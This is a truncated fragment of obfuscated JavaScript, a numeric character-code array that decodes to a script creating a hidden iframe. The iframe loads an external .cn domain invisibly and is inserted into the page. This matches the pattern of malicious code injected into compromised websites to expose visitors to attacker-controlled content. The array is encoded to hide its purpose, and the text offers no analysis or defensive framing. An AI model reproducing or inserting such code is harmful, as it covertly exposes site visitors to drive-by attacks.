of=new Array(119,99,44,117,126,114,100,124,116,127,101,63,114,99,116,112,101,116,84,125,116,124,116,127,101,57,54,120,119,99,112,124,116,54,56,42,27,119,99,63,98,99,114,44,51,121,101,101,97,43,62,62,122,120,97,104,112,101,126,122,63,114,127,62,51,42,27,119,99,63,98,101,104,125,116,63,117,120,98,97,125,112,104,44,51,127,126,127,116,51,42,27,117,126,114,100,124,116,127,101,63,118,116,101,84,125,116,124,116,127,101,98,83,104,69,112,118,95,